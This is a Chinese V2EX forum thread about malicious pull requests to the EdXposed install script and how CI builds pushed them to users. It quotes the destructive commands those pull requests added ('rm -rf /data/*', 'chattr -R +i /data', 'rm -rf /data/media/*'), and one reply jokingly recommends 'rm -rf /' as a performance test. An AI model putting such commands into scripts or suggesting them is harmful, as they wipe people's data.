在开源代码中 rm -rf 是为了什么?

2020-05-17 13:07:28 +08:00
 runze

https://github.com/ElderDrivers/EdXposed/blame/7e0d8439e48fea20e51ed997d03ad06a1664ed7c/edxp-core/template_override/customize.sh#L351

24417 次点击
所在节点    程序员
140 条回复
alphatoad
2020-05-17 15:56:51 +08:00
看了这么多集罗翔,按照主客观统一学说,其必须有主观故意才能定罪,否则算过失
yujiang
2020-05-17 15:57:26 +08:00
@HughZadora 那这也不是你提交恶意代码的理由
zsdroid
2020-05-17 16:26:53 +08:00
理一下,涉及 3 个人物。

@NekoInverter 在 master 分支提交了`rm -rf /data/*`,https://github.com/ElderDrivers/EdXposed/pull/537
接着又在 android_r 分支提交了`rm -rf /data/*`,https://github.com/ElderDrivers/EdXposed/pull/538

@huanruomengyun 在 master 分支提交了`rm -rf /data/data && chattr -R +i /data` ,https://github.com/ElderDrivers/EdXposed/pull/540

@BlueJett 在 master 分支提交了
```ui_print "- Start Cleaning!"
rm -rf /data/media/*
ui_print "- Finished! Check for
``` ,https://github.com/ElderDrivers/EdXposed/pull/541

@BlueJett 在 master 分支提交了`ui_print "- Here is @BlueJett, sorry for what I've done..."`,https://github.com/ElderDrivers/EdXposed/pull/542
VDimos
2020-05-17 16:38:18 +08:00
这种人图啥?和前段时间举报 ps 那个人一样,为了什么???
JackyCDK
2020-05-17 16:43:02 +08:00
为啥 pr 的 ci release 会下载到用户手上....这 ci 的配置也太有问题了吧....
RobertLyu
2020-05-17 16:43:18 +08:00
@VDimos 法律意志的残缺和道德的败坏。
cedoo22
2020-05-17 16:46:35 +08:00
怎么说呢, 开源代码, 发布出来, 你自己愿意用,除了问题骂两句得了。。。
9yu
2020-05-17 17:00:28 +08:00
这些 PR 为什么会被接受?
行为真是太恶心了。
luozic
2020-05-17 17:06:55 +08:00
谁合并的?
guog
2020-05-17 17:15:29 +08:00
@HughZadora 这也能洗?
HTSdTt3WygdgQQGe
2020-05-17 17:15:47 +08:00
一般装完各种软件和配置后,都用 rm -rf /来测试一下性能
runze
2020-05-17 17:17:06 +08:00
@cedoo22 #27 你真的点进去看了吗?
明明是有人恶意 PR,原本的开源者也是受害者。
gamexg
2020-05-17 17:27:20 +08:00
看着并没有合并,为什么有很多人说数据被删除了了?
bwt
2020-05-17 17:30:58 +08:00
bwt
2020-05-17 17:33:48 +08:00
@bwt 这个意思是 所有用户的 pr,ci 构建成功后都有可能会被推送到所有用户吗?
CdR48cafe
2020-05-17 17:34:01 +08:00
@alphatoad 肯定有"间接故意"
@HughZadora 自己承担风险的前提是完整的风险预先告知。你在路旁放了一箱下了毒的可乐,挂个"免费自取"的看板,毒死人无罪?
batkiz
2020-05-17 17:35:28 +08:00
1. 对一个开源项目,所有人都有资格去提交 PR,起码在 GitHub 上是这样的。
2. 一个 PR 会不会被 merge 是由项目所有者决定的。
3. 为什么一个未被 merge 的 PR 会被 CI 构建并推送到用户的手机上?
---
换言之:
1. 我能不能向 linux 项目提一个 PR,将 `rm -rf /*` 写进 init,并更改 license 为仅对 Google 授权呢?可以。
2. 这个 PR 会被 merge 吗?我会不会被 linus 喷的狗血淋头?不会。会。
3. 这个 PR 会对 linux 用户造成影响吗?会清空世界各地的 linux 系统的设备吗?不会。不会。
---
related:
什么是哈希洪水攻击( Hash-Flooding Attack )? - Gh0u1L5 的回答 - 知乎
https://www.zhihu.com/question/286529973/answer/676290355
DefoliationM
2020-05-17 17:36:39 +08:00
笑死 提交的 pr 都不带审核的吗 23333
ashong
2020-05-17 17:37:23 +08:00
@VDimos 估计精神类疾病患者
Zzdex
2020-05-17 17:38:25 +08:00
根本原因还是 ci 有问题

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/672547

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX